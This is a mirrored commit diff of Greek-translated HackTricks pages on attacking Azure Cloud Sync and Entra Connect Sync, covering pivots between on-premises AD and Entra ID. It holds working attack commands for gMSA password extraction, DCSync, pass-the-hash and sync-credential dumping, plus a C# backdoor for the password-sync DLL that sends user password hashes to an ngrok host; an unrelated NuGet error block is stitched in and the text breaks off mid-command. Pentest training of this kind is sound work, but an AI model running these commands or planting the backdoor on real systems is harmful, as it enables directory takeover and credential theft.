mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
+151
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Cloud Sync** είναι βασικά ο νέος τρόπος του Azure να **συγχρονίζει τους χρήστες από το AD στο Entra ID**.
|
||||
|
||||
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Το Microsoft Entra Cloud Sync είναι μια νέα προσφορά της Microsoft σχεδιασμένη να καλύψει και να επιτύχει τους στόχους υβριδικής ταυτότητας σας για συγχρονισμό χρηστών, ομάδων και επαφών στο Microsoft Entra ID. Το επιτυγχάνει χρησιμοποιώντας τον πράκτορα παροχής cloud Microsoft Entra αντί της εφαρμογής Microsoft Entra Connect. Ωστόσο, μπορεί να χρησιμοποιηθεί παράλληλα με το Microsoft Entra Connect Sync.
|
||||
|
||||
### Principals Generated
|
||||
|
||||
Για να λειτουργήσει αυτό, δημιουργούνται ορισμένα principals τόσο στο Entra ID όσο και στον τοπικό κατάλογο:
|
||||
|
||||
- Στο Entra ID, ο χρήστης `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) δημιουργείται με τον ρόλο **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτός ο ρόλος είχε πολλές προνομιακές άδειες και θα μπορούσε να χρησιμοποιηθεί για [**να κλιμακώσει προνόμια ακόμη και σε παγκόσμιο διαχειριστή**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ωστόσο, η Microsoft αποφάσισε να αφαιρέσει όλα τα προνόμια αυτού του ρόλου και να του αναθέσει μόνο ένα νέο **`microsoft.directory/onPremisesSynchronization/standard/read`** που δεν επιτρέπει πραγματικά να εκτελούνται οποιαδήποτε προνομιακή ενέργεια (όπως η τροποποίηση του κωδικού πρόσβασης ή των χαρακτηριστικών ενός χρήστη ή η προσθήκη νέας διαπίστευσης σε ένα SP).
|
||||
|
||||
- Στο Entra ID δημιουργείται επίσης η ομάδα **`AAD DC Administrators`** χωρίς μέλη ή ιδιοκτήτες. Αυτή η ομάδα είναι χρήσιμη αν χρησιμοποιείται το [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- Στο AD, είτε δημιουργείται ο Λογαριασμός Υπηρεσίας **`provAgentgMSA`** με ένα SamAcountName όπως **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), είτε ένας προσαρμοσμένος με [**αυτές τις άδειες είναι απαραίτητος**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Συνήθως δημιουργείται ο προεπιλεγμένος.
|
||||
|
||||
> [!WARNING]
|
||||
> Μεταξύ άλλων αδειών, ο Λογαριασμός Υπηρεσίας **`provAgentgMSA`** έχει άδειες DCSync, επιτρέποντας **σε οποιονδήποτε το παραβιάσει να παραβιάσει ολόκληρο τον κατάλογο**. Για περισσότερες πληροφορίες σχετικά με [DCSync δείτε αυτό](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Από προεπιλογή, οι χρήστες γνωστών προνομιακών ομάδων όπως οι Domain Admins με το χαρακτηριστικό **`adminCount` σε 1 δεν συγχρονίζονται** με το Entra ID για λόγους ασφαλείας. Ωστόσο, άλλοι χρήστες που είναι μέλη προνομιακών ομάδων χωρίς αυτό το χαρακτηριστικό ή που έχουν ανατεθεί υψηλά προνόμια απευθείας **μπορούν να συγχρονιστούν**.
|
||||
|
||||
## Password Sychronization
|
||||
|
||||
Η ενότητα είναι πολύ παρόμοια με αυτήν από:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Ο συγχρονισμός κατακερματισμού κωδικού πρόσβασης** μπορεί να ενεργοποιηθεί ώστε οι χρήστες να μπορούν να **συνδεθούν στο Entra ID χρησιμοποιώντας τους κωδικούς πρόσβασης από το AD**. Επιπλέον, όποτε τροποποιείται ένας κωδικός πρόσβασης στο AD, θα ενημερώνεται στο Entra ID.
|
||||
- **Η επαναφορά κωδικού πρόσβασης** μπορεί επίσης να ενεργοποιηθεί, επιτρέποντας στους χρήστες να τροποποιούν τον κωδικό πρόσβασής τους στο Entra ID συγχρονίζοντας αυτόματα τον κωδικό πρόσβασης στο τοπικό domain. Αλλά σύμφωνα με τα [τρέχοντα έγγραφα](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), για αυτό απαιτείται η χρήση του Connect Agent, οπότε ρίξτε μια ματιά στην [ενότητα Az Connect Sync](./az-connect-sync.md) για περισσότερες πληροφορίες.
|
||||
- **Η επαναφορά ομάδων**: Αυτή η δυνατότητα επιτρέπει τη συγχρονισμό των μελών ομάδας από το Entra ID πίσω στο τοπικό AD. Αυτό σημαίνει ότι αν ένας χρήστης προστεθεί σε μια ομάδα στο Entra ID, θα προστεθεί επίσης στην αντίστοιχη ομάδα στο AD.
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Εάν οι χρήστες του AD συγχρονίζονται από το AD στο Entra ID, η περιστροφή από το AD στο Entra ID είναι απλή, απλώς **παραβιάστε τον κωδικό πρόσβασης κάποιου χρήστη ή αλλάξτε τον κωδικό πρόσβασης κάποιου χρήστη ή δημιουργήστε έναν νέο χρήστη και περιμένετε μέχρι να συγχρονιστεί στον κατάλογο Entra ID (συνήθως μόνο μερικά λεπτά)**.
|
||||
|
||||
Έτσι, θα μπορούσατε για παράδειγμα
|
||||
- Να παραβιάσετε τον λογαριασμό **`provAgentgMSA`**, να εκτελέσετε μια επίθεση DCSync, να σπάσετε τον κωδικό πρόσβασης κάποιου χρήστη και στη συνέχεια να τον χρησιμοποιήσετε για να συνδεθείτε στο Entra ID.
|
||||
- Απλώς να δημιουργήσετε έναν νέο χρήστη στο AD, να περιμένετε μέχρι να συγχρονιστεί στο Entra ID και στη συνέχεια να τον χρησιμοποιήσετε για να συνδεθείτε στο Entra ID.
|
||||
- Να τροποποιήσετε τον κωδικό πρόσβασης κάποιου χρήστη στο AD, να περιμένετε μέχρι να συγχρονιστεί στο Entra ID και στη συνέχεια να τον χρησιμοποιήσετε για να συνδεθείτε στο Entra ID.
|
||||
|
||||
Για να παραβιάσετε τα διαπιστευτήρια του **`provAgentgMSA`**:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Τώρα μπορείτε να χρησιμοποιήσετε το hash του gMSA για να εκτελέσετε μια επίθεση Pass-the-Hash κατά του Entra ID χρησιμοποιώντας τον λογαριασμό `provAgentgMSA` και να διατηρήσετε την επιμονή, έχοντας τη δυνατότητα να εκτελέσετε επιθέσεις DCSync κατά του AD.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς να συμβιβάσετε ένα Active Directory, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Σημειώστε ότι δεν υπάρχει τρόπος να δοθούν ρόλοι Azure ή EntraID σε συγχρονισμένους χρήστες με βάση τα χαρακτηριστικά τους, για παράδειγμα, στις ρυθμίσεις Cloud Sync. Ωστόσο, προκειμένου να παραχωρηθούν αυτόματα δικαιώματα σε συγχρονισμένους χρήστες, ορισμένες **ομάδες Entra ID από το AD** μπορεί να λάβουν δικαιώματα, έτσι ώστε οι συγχρονισμένοι χρήστες μέσα σε αυτές τις ομάδες να τα λαμβάνουν επίσης ή **μπορεί να χρησιμοποιηθούν δυναμικές ομάδες**, οπότε ελέγξτε πάντα για δυναμικούς κανόνες και πιθανούς τρόπους κατάχρησής τους:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Σχετικά με την επιμονή, [αυτή η ανάρτηση ιστολογίου](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) προτείνει ότι είναι δυνατό να χρησιμοποιηθεί το [**dnSpy**](https://github.com/dnSpy/dnSpy) για να δημιουργηθεί backdoor στο dll **`Microsoft.Online.Passwordsynchronisation.dll`** που βρίσκεται στο **`C:\Program Files\Microsoft Azure AD Sync\Bin`** και χρησιμοποιείται από τον πράκτορα Cloud Sync για να εκτελεί τη συγχρονισμό κωδικών πρόσβασης, κάνοντάς το να εξάγει τα password hashes των χρηστών που συγχρονίζονται σε έναν απομακρυσμένο διακομιστή. Τα hashes παράγονται μέσα στην κλάση **`PasswordHashGenerator`** και η ανάρτηση ιστολογίου προτείνει την προσθήκη κάποιου κώδικα ώστε η κλάση να φαίνεται έτσι (σημειώστε τη χρήση `use System.Net` και τη χρήση `WebClient` για την εξαγωγή των password hashes):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Αν είναι ενεργοποιημένο το **Password Writeback**, μπορείτε να τροποποιήσετε τον κωδικό πρόσβασης ορισμένων χρηστών από το Entra ID και αν έχετε πρόσβαση στο δίκτυο AD, να συνδεθείτε χρησιμοποιώντας αυτούς. Για περισσότερες πληροφορίες, ελέγξτε την ενότητα [Az Connect Sync section](./az-connect-sync.md) καθώς η επαναφορά κωδικού πρόσβασης ρυθμίζεται χρησιμοποιώντας αυτόν τον πράκτορα.
|
||||
|
||||
- Αυτή τη στιγμή, το Cloud Sync επιτρέπει επίσης **"Microsoft Entra ID to AD"**, αλλά μετά από πολύ χρόνο διαπίστωσα ότι ΔΕΝ μπορεί να συγχρονίσει τους χρήστες EntraID με το AD και ότι μπορεί να συγχρονίσει μόνο τους χρήστες από το EntraID που συγχρονίστηκαν με το hash κωδικού πρόσβασης και προέρχονται από τομέα που ανήκει στο ίδιο δάσος τομέα με το δάσος στο οποίο συγχρονίζουμε, όπως μπορείτε να διαβάσετε στο [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Αυτές οι ομάδες μπορούν να περιέχουν μόνο συγχρονισμένους χρήστες από τοπικά συστήματα και / ή επιπλέον ομάδες ασφαλείας που δημιουργήθηκαν στο cloud.
|
||||
> - Οι τοπικοί λογαριασμοί χρηστών που συγχρονίζονται και είναι μέλη αυτής της ομάδας ασφαλείας που δημιουργήθηκε στο cloud, μπορούν να προέρχονται από τον ίδιο τομέα ή από διαφορετικούς τομείς, αλλά όλοι πρέπει να προέρχονται από το ίδιο δάσος.
|
||||
|
||||
Έτσι, η επιφάνεια επίθεσης (και η χρησιμότητα) αυτής της υπηρεσίας μειώνεται σημαντικά, καθώς ένας επιτιθέμενος θα πρέπει να παραβιάσει το αρχικό AD από το οποίο συγχρονίζονται οι χρήστες προκειμένου να παραβιάσει έναν χρήστη στον άλλο τομέα (και οι δύο πρέπει προφανώς να βρίσκονται στο ίδιο δάσος).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Οι υπηρεσίες συγχρονισμού Microsoft Entra Connect (Microsoft Entra Connect Sync) είναι ένα κύριο συστατικό του Microsoft Entra Connect. Φροντίζει για όλες τις λειτουργίες που σχετίζονται με τη συγχρονισμένη ταυτότητα δεδομένων μεταξύ του τοπικού σας περιβάλλοντος και του Microsoft Entra ID.
|
||||
|
||||
Για να το χρησιμοποιήσετε, είναι απαραίτητο να εγκαταστήσετε τον **`Microsoft Entra Connect Sync`** πράκτορα σε έναν διακομιστή μέσα στο περιβάλλον AD σας. Αυτός ο πράκτορας θα είναι υπεύθυνος για τη συγχρονισμό από την πλευρά του AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ο **Connect Sync** είναι βασικά ο "παλιός" τρόπος του Azure για **να συγχρονίσει τους χρήστες από το AD στο Entra ID.** Ο νέος προτεινόμενος τρόπος είναι να χρησιμοποιήσετε το **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Principals Generated
|
||||
|
||||
- Ο λογαριασμός **`MSOL_<installationID>`** δημιουργείται αυτόματα στο τοπικό AD. Αυτός ο λογαριασμός έχει ρόλο **Directory Synchronization Accounts** (βλ. [τεκμηρίωση](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) που σημαίνει ότι έχει **δικαιώματα αναπαραγωγής (DCSync) στο τοπικό AD**.
|
||||
- Αυτό σημαίνει ότι οποιοσδήποτε συμβιβάσει αυτόν τον λογαριασμό θα μπορεί να συμβιβάσει το τοπικό domain.
|
||||
- Ένας διαχειριζόμενος λογαριασμός υπηρεσίας **`ADSyncMSA<id>`** δημιουργείται στο τοπικό AD χωρίς ειδικά προνόμια από προεπιλογή.
|
||||
- Στο Entra ID, ο Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** δημιουργείται με ένα πιστοποιητικό.
|
||||
|
||||
## Synchronize Passwords
|
||||
|
||||
### Password Hash Synchronization
|
||||
|
||||
Αυτό το συστατικό μπορεί επίσης να χρησιμοποιηθεί για **να συγχρονίσει τους κωδικούς πρόσβασης από το AD στο Entra ID** ώστε οι χρήστες να μπορούν να χρησιμοποιούν τους κωδικούς πρόσβασης του AD για να συνδεθούν στο Entra ID. Για αυτό, είναι απαραίτητο να επιτραπεί ο συγχρονισμός κωδικών πρόσβασης στο Microsoft Entra Connect Sync agent που είναι εγκατεστημένος σε έναν διακομιστή AD.
|
||||
|
||||
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) Ο **συγχρονισμός κωδικών πρόσβασης** είναι μία από τις μεθόδους σύνδεσης που χρησιμοποιούνται για την επίτευξη υβριδικής ταυτότητας. Ο **Azure AD Connect** συγχρονίζει ένα hash, του hash, του κωδικού πρόσβασης ενός χρήστη από μια τοπική Active Directory εγκατάσταση σε μια cloud-based Azure AD εγκατάσταση.
|
||||
|
||||
Βασικά, όλοι οι **χρήστες** και ένα **hash των κωδικών πρόσβασης** συγχρονίζονται από το τοπικό στο Azure AD. Ωστόσο, οι **κωδικοί πρόσβασης σε καθαρό κείμενο** ή οι **αρχικοί** **hashes** δεν αποστέλλονται στο Azure AD.
|
||||
|
||||
Ο **συγχρονισμός hashes** συμβαίνει κάθε **2 λεπτά**. Ωστόσο, από προεπιλογή, η **λήξη κωδικού πρόσβασης** και η **λήξη λογαριασμού** **δεν συγχρονίζονται** στο Azure AD. Έτσι, ένας χρήστης του οποίου ο **τοπικός κωδικός πρόσβασης έχει λήξει** (δεν έχει αλλάξει) μπορεί να συνεχίσει να **έχει πρόσβαση σε πόρους Azure** χρησιμοποιώντας τον παλιό κωδικό πρόσβασης.
|
||||
|
||||
Όταν ένας τοπικός χρήστης θέλει να έχει πρόσβαση σε έναν πόρο Azure, η **αυθεντικοποίηση πραγματοποιείται στο Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> Από προεπιλογή, οι χρήστες γνωστών προνομιακών ομάδων όπως οι Domain Admins με το χαρακτηριστικό **`adminCount` σε 1 δεν συγχρονίζονται** με το Entra ID για λόγους ασφαλείας. Ωστόσο, άλλοι χρήστες που είναι μέλη προνομιακών ομάδων χωρίς αυτό το χαρακτηριστικό ή που έχουν ανατεθεί υψηλά προνόμια απευθείας **μπορούν να συγχρονιστούν**.
|
||||
|
||||
### Password Writeback
|
||||
|
||||
Αυτή η ρύθμιση επιτρέπει να **συγχρονιστούν οι κωδικοί πρόσβασης από το Entra ID στο AD** όταν ένας χρήστης αλλάζει τον κωδικό του στο Entra ID. Σημειώστε ότι για να λειτουργήσει η εγγραφή κωδικών πρόσβασης, ο χρήστης `MSOL_<id>` που δημιουργείται αυτόματα στο AD πρέπει να του παραχωρηθούν [περισσότερα προνόμια όπως αναφέρεται στα έγγραφα](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) ώστε να μπορεί να **τροποποιήσει τους κωδικούς πρόσβασης οποιουδήποτε χρήστη στο AD**.
|
||||
|
||||
Αυτό είναι ιδιαίτερα ενδιαφέρον για να συμβιβάσετε το AD από ένα συμβιβασμένο Entra ID καθώς θα μπορείτε να τροποποιήσετε τον κωδικό πρόσβασης "σχεδόν" οποιουδήποτε χρήστη.
|
||||
|
||||
Οι διαχειριστές τομέα και άλλοι χρήστες που ανήκουν σε ορισμένες προνομιακές ομάδες δεν αναπαράγονται αν η ομάδα έχει το χαρακτηριστικό **`adminCount` σε 1**. Αλλά άλλοι χρήστες που έχουν ανατεθεί υψηλά προνόμια μέσα στο AD χωρίς να ανήκουν σε καμία από αυτές τις ομάδες θα μπορούσαν να έχουν τον κωδικό τους αλλάξει. Για παράδειγμα:
|
||||
|
||||
- Χρήστες που έχουν ανατεθεί υψηλά προνόμια απευθείας.
|
||||
- Χρήστες από την ομάδα **`DNSAdmins`**.
|
||||
- Χρήστες από την ομάδα **`Group Policy Creator Owners`** που έχουν δημιουργήσει GPOs και τους έχουν αναθέσει σε OUs θα μπορούν να τροποποιήσουν τα GPOs που δημιούργησαν.
|
||||
- Χρήστες από την **`Cert Publishers Group`** που μπορούν να δημοσιεύσουν πιστοποιητικά στο Active Directory.
|
||||
- Χρήστες οποιασδήποτε άλλης ομάδας με υψηλά προνόμια χωρίς το χαρακτηριστικό **`adminCount` σε 1**.
|
||||
|
||||
## Pivoting AD --> Entra ID
|
||||
|
||||
### Enumerating Connect Sync
|
||||
|
||||
Ελέγξτε για χρήστες:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Ελέγξτε για τη **διαμόρφωση Connect Sync** (αν υπάρχει):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Εύρεση των κωδικών πρόσβασης
|
||||
|
||||
Οι κωδικοί πρόσβασης του **`MSOL_*`** χρήστη (και του **Sync\_\*** χρήστη αν έχει δημιουργηθεί) είναι **αποθηκευμένοι σε έναν SQL server** στον διακομιστή όπου είναι **εγκατεστημένο το Entra ID Connect.** Οι διαχειριστές μπορούν να εξάγουν τους κωδικούς πρόσβασης αυτών των προνομιούχων χρηστών σε καθαρό κείμενο.\
|
||||
Η βάση δεδομένων βρίσκεται στο `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Είναι δυνατή η εξαγωγή της διαμόρφωσης από έναν από τους πίνακες, με έναν κρυπτογραφημένο:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
Η **κρυπτογραφημένη διαμόρφωση** είναι κρυπτογραφημένη με **DPAPI** και περιέχει τους **κωδικούς πρόσβασης του `MSOL_*`** χρήστη στο on-prem AD και τον κωδικό πρόσβασης του **Sync\_\*** στο AzureAD. Επομένως, η παραβίαση αυτών επιτρέπει την ανύψωση προνομίων στο AD και στο AzureAD.
|
||||
|
||||
Μπορείτε να βρείτε μια [πλήρη επισκόπηση του πώς αποθηκεύονται και αποκρυπτογραφούνται αυτά τα διαπιστευτήρια σε αυτή την ομιλία](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Κατάχρηση MSOL\_\*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Προηγούμενες επιθέσεις έχουν παραβιάσει τον άλλο κωδικό πρόσβασης για να συνδεθούν στον χρήστη Entra ID που ονομάζεται `Sync_*` και στη συνέχεια να παραβιάσουν το Entra ID. Ωστόσο, αυτός ο χρήστης δεν υπάρχει πλέον.
|
||||
|
||||
### Κατάχρηση ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Αυτή η εφαρμογή έχει δημιουργηθεί χωρίς να έχουν ανατεθεί ρόλοι διαχείρισης Entra ID ή Azure. Ωστόσο, έχει τις εξής άδειες API:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Υπηρεσία επαναφοράς κωδικού πρόσβασης της Microsoft
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Αναφέρεται ότι το SP αυτής της εφαρμογής μπορεί να χρησιμοποιηθεί για την εκτέλεση ορισμένων προνομιακών ενεργειών χρησιμοποιώντας μια μη τεκμηριωμένη API, αλλά δεν έχει βρεθεί ακόμη PoC, όσο γνωρίζω.\
|
||||
Σε κάθε περίπτωση, σκεπτόμενοι ότι αυτό μπορεί να είναι δυνατό, θα ήταν ενδιαφέρον να εξερευνήσουμε περαιτέρω πώς να βρούμε το πιστοποιητικό για να συνδεθούμε ως αυτός ο υπηρεσιακός κύριος και να προσπαθήσουμε να το καταχραστούμε.
|
||||
|
||||
Αυτή η [ανάρτηση στο blog](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) δημοσιεύθηκε λίγο πριν την αλλαγή από τη χρήση του χρήστη `Sync_*` σε αυτόν τον υπηρεσιακό κύριο, εξηγώντας ότι το πιστοποιητικό αποθηκευόταν μέσα στον διακομιστή και ήταν δυνατό να το βρούμε, να δημιουργήσουμε PoP (Proof of Possession) αυτού και γραφικό token, και με αυτό, να μπορέσουμε να προσθέσουμε ένα νέο πιστοποιητικό στον υπηρεσιακό κύριο (διότι ένας **υπηρεσιακός κύριος** μπορεί πάντα να αναθέτει νέα πιστοποιητικά στον εαυτό του) και στη συνέχεια να το χρησιμοποιήσουμε για να διατηρήσουμε την επιμονή ως SP.
|
||||
|
||||
Για να εκτελέσουμε αυτές τις ενέργειες, τα εξής εργαλεία έχουν δημοσιευθεί: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
Από την εμπειρία μου, το πιστοποιητικό δεν αποθηκεύεται πλέον στο μέρος όπου το προηγούμενο εργαλείο το αναζητούσε, και επομένως, το εργαλείο δεν λειτουργεί πλέον. Έτσι, μπορεί να χρειαστεί περαιτέρω έρευνα.
|
||||
|
||||
### Κατάχρηση Sync\_\* [ΑΠΟΚΛΕΙΣΜΕΝΟ]
|
||||
|
||||
> [!WARNING]
|
||||
> Προηγουμένως, ένας χρήστης που ονομάζεται `Sync_*` είχε δημιουργηθεί στο Entra ID με πολύ ευαίσθητες άδειες που επιτρέπουν την εκτέλεση προνομιακών ενεργειών όπως η τροποποίηση του κωδικού πρόσβασης οποιουδήποτε χρήστη ή η προσθήκη νέας διαπιστευτηρίου σε έναν υπηρεσιακό κύριο. Ωστόσο, από τον Ιανουάριο του 2025, αυτός ο χρήστης δεν δημιουργείται πλέον από προεπιλογή καθώς τώρα χρησιμοποιείται η Εφαρμογή/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ωστόσο, μπορεί να είναι ακόμη παρών σε ορισμένα περιβάλλοντα, οπότε αξίζει να το ελέγξετε.
|
||||
|
||||
Η παραβίαση του λογαριασμού **`Sync_*`** επιτρέπει την **επανεγγραφή του κωδικού πρόσβασης** οποιουδήποτε χρήστη (συμπεριλαμβανομένων των Παγκόσμιων Διαχειριστών)
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
